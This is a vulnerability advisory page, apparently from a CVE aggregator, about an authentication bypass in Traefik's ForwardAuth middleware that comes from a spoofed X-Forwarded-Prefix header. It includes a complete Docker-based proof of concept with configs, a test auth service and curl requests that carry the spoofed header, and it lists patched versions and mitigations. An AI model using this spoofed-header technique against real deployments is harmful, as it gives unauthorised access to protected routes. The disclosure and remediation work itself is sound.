Skip to main content

Traefik CVE-2026-35051

| EUVDEUVD-2026-26426 HIGH
Insufficient Verification of Data Authenticity (CWE-345)
2026-04-24 https://github.com/traefik/traefik GHSA-6384-m2mw-rf54
High
Disputed · 7.8 Vendor: https://github.com/traefik/traefik
Share

Severity by source

Sources disagree (Low–High)
Vendor (https://github.com/traefik/traefik) PRIMARY
7.8 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
SUSE
3.1 LOW
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
Red Hat
8.2 HIGH
qualitative

vuln.today treats the vendor’s rating as authoritative. A higher third-party CVSS (e.g. CISA-ADP) is shown for transparency but does not drive the headline severity.

CVSS VectorVendor: https://github.com/traefik/traefik

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
X

Lifecycle Timeline

8
Patch released
May 01, 2026 - 17:45 nvd
Patch available
Patch available
Apr 30, 2026 - 22:02 EUVD
Re-analysis Queued
Apr 30, 2026 - 21:22 vuln.today
cvss_changed
CVSS changed
Apr 30, 2026 - 21:22 NVD
7.8 (HIGH)
Analysis Generated
Apr 24, 2026 - 17:31 vuln.today
EUVD ID Assigned
Apr 24, 2026 - 17:00 euvd
EUVD-2026-26426
Analysis Generated
Apr 24, 2026 - 17:00 vuln.today
CVE Published
Apr 24, 2026 - 16:31 nvd
HIGH 7.8

DescriptionCVE.org

Summary

There is a high-severity authentication bypass vulnerability in Traefik's ForwardAuth middleware when trustForwardHeader=false is configured and Traefik is deployed behind a trusted upstream proxy.

While X-Forwarded-* headers (such as X-Forwarded-For, X-Forwarded-Host, and X-Forwarded-Proto) from trusted context are correctly rebuilt, it does not strip or rebuild X-Forwarded-Prefix, leaving any attacker-supplied value intact in the subrequest forwarded to the authentication service.

When the authentication service makes authorization decisions based on X-Forwarded-Prefix, an external attacker can spoof a trusted prefix value and gain unauthorized access to protected backend routes.

Patches

  • https://github.com/traefik/traefik/releases/tag/v2.11.43
  • https://github.com/traefik/traefik/releases/tag/v3.6.14
  • https://github.com/traefik/traefik/releases/tag/v3.7.0-rc.2

For more information

If there are any questions or comments about this advisory, please open an issue.

<details> <summary>Original Description</summary>

Summary

ForwardAuth with trustForwardHeader=false still forwards an attacker-controlled X-Forwarded-Prefix header to the authentication service when Traefik is deployed behind a trusted upstream proxy. If the auth service relies on X-Forwarded-Prefix for authorization or routing decisions, an external attacker can bypass access controls and reach protected backend routes.

This was validated this against Traefik v3.6.12 using the official Docker image and a minimal local Docker setup. A direct request to Traefik is correctly rejected, but the same request succeeds when sent through a trusted reverse proxy, which shows the issue is in the ForwardAuth subrequest handling rather than general ingress header stripping.

Details

The vulnerable behavior comes from the way Traefik builds the subrequest sent to the forward-auth server.

In [pkg/middlewares/auth/forward.go](pkg/middlewares/auth/forward.go), writeHeader first copies all incoming request headers into the auth subrequest:

go
func writeHeader(req, forwardReq *http.Request, trustForwardHeader bool, allowedHeaders []string) {
    utils.CopyHeaders(forwardReq.Header, req.Header)
    ...
    forwardReq.Header = filterForwardRequestHeaders(forwardReq.Header, allowedHeaders)

It then selectively rebuilds only a subset of forwarded headers when trustForwardHeader=false, for example:

  • X-Forwarded-For
  • X-Forwarded-Method
  • X-Forwarded-Proto
  • X-Forwarded-Port
  • X-Forwarded-Host
  • X-Forwarded-Uri

However, it does not remove or rebuild X-Forwarded-Prefix, so an attacker-supplied value remains in the auth request even when forwarded headers are supposed to be untrusted.

This becomes security-relevant when StripPrefix is used before ForwardAuth. In [pkg/middlewares/stripprefix/strip_prefix.go](pkg/middlewares/stripprefix/strip_prefix.go), Traefik appends the stripped prefix using Header.Add:

go
func (s *stripPrefix) serveRequest(rw http.ResponseWriter, req *http.Request, prefix string) {
    req.Header.Add(ForwardedPrefixHeader, prefix)

If the attacker already sent X-Forwarded-Prefix: /admin, and StripPrefix later adds /forbidden, the auth service receives both values in this order:

  1. /admin (attacker-controlled)
  2. /forbidden (Traefik-generated)

An auth service that uses the first X-Forwarded-Prefix value can therefore be tricked into authorizing a protected route.

Why this appears unintended:

  • The docs say trustForwardHeader means "Trust all X-Forwarded-* headers" and defaults to false.
  • The migration notes say X-Forwarded-Prefix is handled like other X-Forwarded-* headers and removed from untrusted sources.
  • The direct-to-Traefik test case behaves consistently with that expectation and returns 403.
  • Only the auth subrequest path still honors the spoofed X-Forwarded-Prefix.

Relevant source/documentation locations:

  • pkg/middlewares/auth/forward.go lines 393-459
  • pkg/middlewares/stripprefix/strip_prefix.go lines 65-68
  • pkg/middlewares/forwardedheaders/forwarded_header.go lines 15-43
  • docs/content/reference/routing-configuration/http/middlewares/forwardauth.md lines 59-62 and 130-140
  • docs/content/migrate/v3.md lines 192-196

This was only tested and validated with X-Forwarded-Prefix. By source review, other forwarded headers that are copied but not rebuilt in writeHeader may deserve separate review, but I am not claiming impact for them here.

PoC

The following uses the official traefik:v3.6.12 Docker image and a mounted traefik.toml, matching the documented deployment style.

  1. Create traefik.toml:
toml
[entryPoints]
  [entryPoints.web]
    address = ":80"
    [entryPoints.web.forwardedHeaders]
      trustedIPs = ["172.31.79.0/24"]

[providers]
  [providers.file]
    filename = "/etc/traefik/dynamic.toml"
    watch = false

[log]
  level = "DEBUG"

[accessLog]
  1. Create dynamic.toml:
toml
[http.routers]
  [http.routers.app]
    entryPoints = ["web"]
    rule = "Host(`app.local`) && PathPrefix(`/forbidden`)"
    middlewares = ["strip-forbidden", "authz"]
    service = "backend"

[http.middlewares]
  [http.middlewares.strip-forbidden.stripPrefix]
    prefixes = ["/forbidden"]

  [http.middlewares.authz.forwardAuth]
    address = "http://auth:8000/check"
    trustForwardHeader = false
    authResponseHeaders = ["X-Auth-First-Prefix", "X-Auth-All-Prefixes"]

[http.services]
  [http.services.backend.loadBalancer]
    [[http.services.backend.loadBalancer.servers]]
      url = "http://backend:80"
  1. Create auth.py:
python
import json
from http.server import BaseHTTPRequestHandler, HTTPServer


class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        if not self.path.startswith("/check"):
            self.send_response(404)
            self.end_headers()
            return

        prefixes = self.headers.get_all("X-Forwarded-Prefix") or []
        first = prefixes[0] if prefixes else ""
        payload = {
            "path": self.path,
            "first_prefix": first,
            "all_prefixes": prefixes,
            "x_forwarded_for": self.headers.get_all("X-Forwarded-For") or [],
        }
        print(json.dumps(payload), flush=True)

        if first == "/admin":
            self.send_response(200)
            self.send_header("X-Auth-First-Prefix", first)
            self.send_header("X-Auth-All-Prefixes", "|".join(prefixes))
            self.end_headers()
            self.wfile.write(b"authorized\n")
            return

        self.send_response(403)
        self.send_header("Content-Type", "application/json")
        self.end_headers()
        self.wfile.write(json.dumps(payload).encode() + b"\n")


HTTPServer(("0.0.0.0", 8000), Handler).serve_forever()
  1. Create frontend.conf:
nginx
server {
    listen 80;
    access_log /dev/stdout;

    location / {
        proxy_http_version 1.1;
        proxy_pass http://traefik:80;
        proxy_set_header Host $http_host;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    }
}
  1. Start the containers:
bash
docker network create --subnet 172.31.79.0/24 traefik-readme-net

docker run -d --name traefik-readme-backend \
  --network traefik-readme-net \
  --network-alias backend \
  traefik/whoami

docker run -d --name traefik-readme-auth \
  --network traefik-readme-net \
  --network-alias auth \
  -v "$PWD/auth.py:/app/auth.py:ro" \
  -w /app \
  python:3.12-alpine \
  python /app/auth.py

docker run -d --name traefik-readme-traefik \
  --network traefik-readme-net \
  --network-alias traefik \
  -p 18081:80 \
  -v "$PWD/traefik.toml:/etc/traefik/traefik.toml:ro" \
  -v "$PWD/dynamic.toml:/etc/traefik/dynamic.toml:ro" \
  traefik:v3.6.12

docker run -d --name traefik-readme-frontend \
  --network traefik-readme-net \
  -p 18080:80 \
  -v "$PWD/frontend.conf:/etc/nginx/conf.d/default.conf:ro" \
  nginx:alpine
  1. Send three requests:

Direct to Traefik, spoofed header:

bash
curl -sS -i \
  -H 'Host: app.local' \
  -H 'X-Forwarded-Prefix: /admin' \
  http://127.0.0.1:18081/forbidden/test

Expected result:

http
HTTP/1.1 403 Forbidden
...
{"path": "/check", "first_prefix": "/forbidden", "all_prefixes": ["/forbidden"]}

Through trusted proxy, no spoofing:

bash
curl -sS -i \
  -H 'Host: app.local' \
  http://127.0.0.1:18080/forbidden/test

Expected result:

http
HTTP/1.1 403 Forbidden
...
{"path": "/check", "first_prefix": "/forbidden", "all_prefixes": ["/forbidden"]}

Through trusted proxy, spoofed header:

bash
curl -sS -i \
  -H 'Host: app.local' \
  -H 'X-Forwarded-Prefix: /admin' \
  http://127.0.0.1:18080/forbidden/test

Observed result:

http
HTTP/1.1 200 OK
...
X-Auth-All-Prefixes: /admin|/forbidden
X-Auth-First-Prefix: /admin
X-Forwarded-Prefix: /admin
X-Forwarded-Prefix: /forbidden

The backend response confirms that the request reached the protected upstream after the auth service accepted the attacker-controlled prefix.

  1. Optional log confirmation from the auth service:
bash
docker logs traefik-readme-auth

Observed log sequence:

json
{"path": "/check", "first_prefix": "/forbidden", "all_prefixes": ["/forbidden"], ...}
{"path": "/check", "first_prefix": "/forbidden", "all_prefixes": ["/forbidden"], ...}
{"path": "/check", "first_prefix": "/admin", "all_prefixes": ["/admin", "/forbidden"], ...}
  1. Cleanup:
bash
docker rm -f traefik-readme-traefik traefik-readme-backend traefik-readme-auth traefik-readme-frontend
docker network rm traefik-readme-net

Impact

This is an authentication bypass / trust-boundary bypass.

Affected deployments are those that:

  • run Traefik behind a trusted upstream proxy
  • use ForwardAuth
  • rely on trustForwardHeader=false to avoid trusting client-supplied forwarded headers
  • pass X-Forwarded-Prefix to the auth service, which happens by default when authRequestHeaders is empty
  • make authorization or routing decisions based on X-Forwarded-Prefix, especially when StripPrefix runs before ForwardAuth

In those environments, an unauthenticated external attacker can influence the auth service's view of the protected path and gain access to backend routes that should be denied.

</details>

----

AnalysisAI

Authentication bypass in Traefik's ForwardAuth middleware allows remote attackers to spoof the X-Forwarded-Prefix header and gain unauthorized access to protected backend routes when deployed behind trusted upstream proxies. Despite trustForwardHeader=false configuration, Traefik fails to sanitize attacker-controlled X-Forwarded-Prefix values in authentication subrequests, enabling attackers to impersonate trusted path prefixes (e.g., /admin) and bypass authorization checks in the authentication service. The vulnerability affects Traefik v2.x and v3.x series and is confirmed patched in versions 2.11.43, 3.6.14, and 3.7.0-rc.2. No KEV listing or EPSS data available at time of analysis, but a detailed proof-of-concept with complete Docker reproduction environment is publicly available in the GitHub advisory, significantly lowering exploitation complexity for attackers.

Technical ContextAI

Traefik is a cloud-native edge router and reverse proxy written in Go (pkg:go/github.com_traefik_traefik). The vulnerability stems from CWE-345 (Insufficient Verification of Data Authenticity) in the ForwardAuth middleware's header processing logic. The writeHeader function in pkg/middlewares/auth/forward.go copies all incoming headers to the authentication subrequest via utils.CopyHeaders, then selectively rebuilds trusted headers like X-Forwarded-For, X-Forwarded-Host, and X-Forwarded-Proto when trustForwardHeader=false. However, it fails to strip or rebuild X-Forwarded-Prefix, leaving attacker-supplied values intact. When combined with StripPrefix middleware (which uses Header.Add to append legitimate prefixes), the authentication service receives multiple X-Forwarded-Prefix values where the first (attacker-controlled) value takes precedence in authorization decisions. This creates a trust boundary violation where the proxy configuration's trustForwardHeader setting correctly applies to most forwarded headers but omits X-Forwarded-Prefix from its protection scope.

RemediationAI

Upgrade immediately to patched versions: Traefik 2.11.43 for v2.x users, Traefik 3.6.14 for v3.6.x users, or Traefik 3.7.0-rc.2 for v3.7.x early adopters. Patch releases available from https://github.com/traefik/traefik/releases with specific version tags linked in advisory. If immediate patching is not feasible, implement compensating controls with careful testing: (1) Configure ForwardAuth authRequestHeaders to explicitly exclude X-Forwarded-Prefix from being forwarded to the authentication service (trade-off: auth service loses legitimate prefix information and must use alternative authorization criteria like X-Forwarded-Uri), or (2) Modify authentication service logic to validate and use only the LAST X-Forwarded-Prefix value when multiple values are present (trade-off: assumes StripPrefix always appends last, breaks if header ordering changes), or (3) Remove StripPrefix middleware from chains that precede ForwardAuth and handle path manipulation in backend services instead (trade-off: shifts complexity to backends and may require application code changes). Note that setting trustForwardHeader=true is NOT a viable mitigation as it would trust all attacker-controlled headers. Each workaround has deployment-specific implications requiring thorough testing before production use.

More in Docker

View all
CVE-2024-55964 CRITICAL POC
9.8 Mar 26

An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl

CVE-2019-5736 HIGH POC
8.6 Feb 11

runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac

CVE-2023-32077 HIGH POC
7.5 Aug 24

Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2023-5815 HIGH POC
8.1 Nov 22

The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post

CVE-2014-9357 CRITICAL
10.0 Dec 16

Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build

CVE-2026-34156 CRITICAL POC
9.9 Mar 30

Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l

CVE-2019-15752 HIGH POC
7.8 Aug 28

Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c

CVE-2025-34221 CRITICAL POC
10.0 Sep 29

Vasion Print (formerly PrinterLogic) Virtual Appliance Host prior to version 25.2.169 and Application prior to version 2

CVE-2024-23054 CRITICAL POC
9.8 Feb 05

An issue in Plone Docker Official Image 5.2.13 (5221) open-source software that could allow for remote code execution du

CVE-2025-23211 CRITICAL POC
9.9 Jan 28

Tandoor Recipes is an application for managing recipes, planning meals, and building shopping lists. Rated critical seve

CVE-2026-46339 CRITICAL POC
10.0 May 19

Unauthenticated remote code execution in 9router (npm package) versions 0.4.30 through 0.4.36 allows network-adjacent at

Vendor StatusVendor

SUSE

Severity: Low

Share

CVE-2026-35051 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy